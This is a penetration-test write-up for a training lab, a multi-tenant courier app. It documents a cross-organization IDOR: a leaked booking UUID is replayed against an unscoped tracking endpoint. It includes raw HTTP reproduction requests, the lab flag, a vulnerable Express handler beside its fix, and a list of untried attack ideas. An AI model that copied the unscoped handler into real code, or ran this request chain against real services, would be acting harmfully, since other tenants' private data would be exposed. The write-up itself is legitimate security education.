Galazy Dash: Cross-Organization IDOR via Sibling-Endpoint Authorization Drift
Part 1: Pentest Report
Executive Summary
Galazy Dash is a Futurama-themed interstellar courier app: React SPA frontend, Express backend, SQL persistence, multi-tenant by organization with HS256 JWT auth. Testing confirmed one finding: a cross-organization IDOR on GET /api/bookings/:uuid/tracking, chained off a UUID disclosure from GET /api/network/status.
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Cross-Organization IDOR on tracking endpoint | High | 6.5 | CWE-639, CWE-285 | GET /api/bookings/:uuid/tracking |
F1 lets any authenticated user read every other organization’s booking detail: cargo description, cargo weight, hazard level, total price, origin and destination. The flag was returned as a value inside the cargo_description field of a seeded foreign-organization booking.
Objective
Identify and exploit security defects in the Galazy Dash multi-tenant courier application (BugForge medium-tier lab).
Scope / Initial Access
# Target Application
URL: https://lab-1778893821499-305i28.labs-app.bugforge.io
# Auth
POST /api/register creates an organization and the first user as org_admin.
JWT (HS256) with payload {id, username, organizationId, iat}.
No role or permission claim in the JWT, the server re-resolves on each request.
Token stored in localStorage("token").
# Test account
Username: haxor
Organization id: 4 (assigned by the server on register)
User id: 5
Role: org_admin
The org_admin role is granted by default to the first user of a freshly registered organization. The exploited finding does not depend on it, the IDOR fires from any authenticated identity.
Reconnaissance: Mapping the Multi-Tenant Surface
The React SPA shipped a single CRA-built bundle (~257 KB, main.1b7acf58.js) that named the full API surface in axios call sites and route declarations. JWT structure was inspected after login.
- The JWT carries
organizationIdbut no role or permission claim. Each request is re-authorized server-side, which means each route is its own authorization decision and authorization cannot be reasoned about from the token alone. GET /api/network/statusis wired up to a “Recent Network Shipments” dashboard widget. The response body containsrecent_shipments[]entries withtracking_id(booking UUID), origin, destination, status, and service. The UUIDs returned reference bookings owned by organizations other than ours.- Three detail endpoints take a booking UUID as a path parameter:
GET /api/bookings/:uuid,GET /api/bookings/:uuid/tracking, andGET /api/invoices/:uuid. They look like three views of the same resource.
Observation (3) combined with the foreign UUIDs from (2) framed the probe: send the same foreign UUID to all three sibling routes with our Bearer and diff the responses.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (X-Powered-By: Express, weak ETag) |
| Frontend | React SPA, CRA-built, single bundle |
| Auth | HS256 JWT, payload {id, username, organizationId, iat} |
| Database | SQL, snake_case columns, integer PKs for org/user/location, UUID v4 for bookings |
| Multi-tenancy | Organization owns users, users have role and permissions |
API Surface (relevant subset)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | none | Creates org and first user as org_admin |
| /api/login | POST | none | Returns JWT |
| /api/network/status | GET | Bearer | Discloses foreign-org tracking UUIDs |
| /api/bookings/:uuid | GET | Bearer | Organization-scoped, 404 on foreign UUID |
| /api/bookings/:uuid/tracking | GET | Bearer | Not organization-scoped, vulnerable |
| /api/invoices/:uuid | GET | Bearer | Organization-scoped, 404 on foreign UUID |
Known Identities
| Username | Org ID | User ID | Role |
|---|---|---|---|
| haxor | 4 | 5 | org_admin |
Attack Chain Visualization
┌────────────────────┐ ┌──────────────────────┐ ┌──────────────────────────────┐
│ Register / log in │ ▶ │ GET /network/status │ ▶ │ GET /bookings/<foreign-uuid> │
│ as standard user │ │ → recent_shipments[] │ │ /tracking with our Bearer │
│ → JWT (org id 4) │ │ foreign UUIDs leak │ │ → 200, full booking record │
└────────────────────┘ └──────────────────────┘ └───────────────┬──────────────┘
│
▼
┌──────────────────────────────┐
│ cargo_description = bug{...} │
└──────────────────────────────┘
Findings
F1: Cross-Organization IDOR on Tracking Endpoint
Severity: High (Medium by raw CVSS math, High by lab-finding importance)
CVSS v3.1: 6.5, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-285 (Improper Authorization)
Endpoint: GET /api/bookings/:uuid/tracking
Authentication required: Yes (any registered user)
Description
GET /api/bookings/:uuid/tracking returns the full booking record for any UUID supplied in the path without filtering by the requester’s organization. The two sibling detail endpoints, GET /api/bookings/:uuid and GET /api/invoices/:uuid, return 404 for the same foreign UUID, indicating they enforce an organization-scope check that the /tracking route omits.
The foreign UUIDs required to exercise this are not guessable but are returned by GET /api/network/status as part of a dashboard data feed, removing the discovery cost.
The record returned by the vulnerable route includes cargo_description, cargo_weight_kg, hazard and danger level, total_price, origin_location_id, destination_location_id, status, and timestamps.
Impact
Any authenticated user can read every other organization’s booking details, including cargo, prices, and destinations.
Reproduction
Step 1: Register a standard user
POST /api/register HTTP/1.1
Host: lab-1778893821499-305i28.labs-app.bugforge.io
Content-Type: application/json
{
"username": "haxor",
"password": "...",
"organization_name": "haxor-corp",
"business_type": "courier"
}
Response: 200 with a JWT and user object. The server assigns the organization id (4 in this run).
Step 2: Harvest a foreign tracking UUID
GET /api/network/status HTTP/1.1
Host: lab-1778893821499-305i28.labs-app.bugforge.io
Authorization: Bearer <JWT>
Response: 200.
{
"recent_shipments": [
{
"tracking_id": "2578085f-c877-4cf5-9127-1012312c175c",
"origin": "...",
"destination": "...",
"status": "pending",
"service": "..."
}
]
}
The tracking_id belongs to a booking owned by an organization other than ours.
Step 3: Confirm the sibling endpoints are organization-scoped
GET /api/bookings/2578085f-c877-4cf5-9127-1012312c175c HTTP/1.1
Authorization: Bearer <JWT>
Response: 404 {"error":"Booking not found"}.
GET /api/invoices/2578085f-c877-4cf5-9127-1012312c175c HTTP/1.1
Authorization: Bearer <JWT>
Response: 404 {"error":"Booking not found"}. Both responses indicate organization scope is enforced on these routes.
Step 4: Exploit the unscoped sibling
GET /api/bookings/2578085f-c877-4cf5-9127-1012312c175c/tracking HTTP/1.1
Authorization: Bearer <JWT>
Response: 200 with the full booking record.
{
"id": "2578085f-c877-4cf5-9127-1012312c175c",
"organization_id": 2,
"cargo_description": "bug{bXOWD6igWjOe5xjSWmTRJc55cy739MUR}",
"cargo_weight_kg": "...",
"total_price": "...",
"origin_location_id": "...",
"destination_location_id": "...",
"status": "pending"
}
The booking’s organization_id is 2, our JWT carries organizationId: 4. The server returned the record regardless.
Remediation
Fix 1: Apply organization scope to the tracking handler
// BEFORE (Vulnerable)
app.get('/api/bookings/:uuid/tracking', requireAuth, async (req, res) => {
const booking = await db.bookings.findOne({
where: { id: req.params.uuid }
});
if (!booking) return res.status(404).json({ error: 'Booking not found' });
return res.json(booking);
});
// AFTER (Secure)
app.get('/api/bookings/:uuid/tracking', requireAuth, async (req, res) => {
const booking = await db.bookings.findOne({
where: {
id: req.params.uuid,
organization_id: req.user.organization_id
}
});
if (!booking) return res.status(404).json({ error: 'Booking not found' });
return res.json(booking);
});
Fix 2: Centralize the lookup so all three sibling routes share one authorization decision
async function getBookingForUser(uuid, user) {
return db.bookings.findOne({
where: { id: uuid, organization_id: user.organization_id }
});
}
app.get('/api/bookings/:uuid', requireAuth, handle(getBookingForUser));
app.get('/api/bookings/:uuid/tracking', requireAuth, handle(getBookingForUser));
app.get('/api/invoices/:uuid', requireAuth, handle(getBookingForUser));
A single helper enforces the scope filter at one site, eliminating the per-route drift that produced the bug.
Additional recommendations:
- Reconsider what
/api/network/statusdiscloses. The dashboard widget could show aggregate counts or status without exposing tracking UUIDs of foreign organizations. - Add automated test coverage that asserts every booking-detail route returns 404 for a UUID owned by a different organization. A parametrized test across the three sibling routes would have caught the drift.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: The tracking endpoint omits the organization-scope filter that the two sibling detail endpoints apply, allowing horizontal access to records owned by other tenants.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Intercept, edit, replay (path swap preserving Bearer) |
| Bundle inspection | API surface mapping from the React SPA |
References
- CWE-639: Authorization Bypass Through User-Controlled Key. https://cwe.mitre.org/data/definitions/639.html
- CWE-285: Improper Authorization. https://cwe.mitre.org/data/definitions/285.html
- OWASP API Security Top 10, API1:2023 Broken Object Level Authorization
Part 2: Notes / Knowledge
Key Learnings
-
A shared path parameter is N different authorization decisions, not one. When
/foo/:id,/foo/:id/bar, and/foo/:id/bazall take the same identifier, probe all of them with a foreign id, a 404 on the parent does not propagate to the children. -
Treat the API response body as its own recon surface, separate from the rendered UI. Read it directly, fields the frontend does not bind are sometimes where the next lead lives.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| GET /api/bookings/<foreign-uuid> | 404 “Booking not found” | Handler applies organization-scope filter |
| GET /api/invoices/<foreign-uuid> | 404 “Booking not found” | Handler applies organization-scope filter |
H2 through H7 (mass-assignment on PUT /api/organization and POST /api/team, client-side price tampering on POST /api/bookings, SQLi on ?status= / numeric params, JWT alg=none and weak HS256 secret, cross-org PUT /api/team/:id, stored XSS or SSTI on invoice rendering) were carried in the test plan but not exercised. The flag was captured in three requests via F1 and the engagement ended.
Tags: #idor #multi-tenant #authorization #sibling-endpoint-drift #bugforge
Document Version: 1.0
Last Updated: 2026-05-16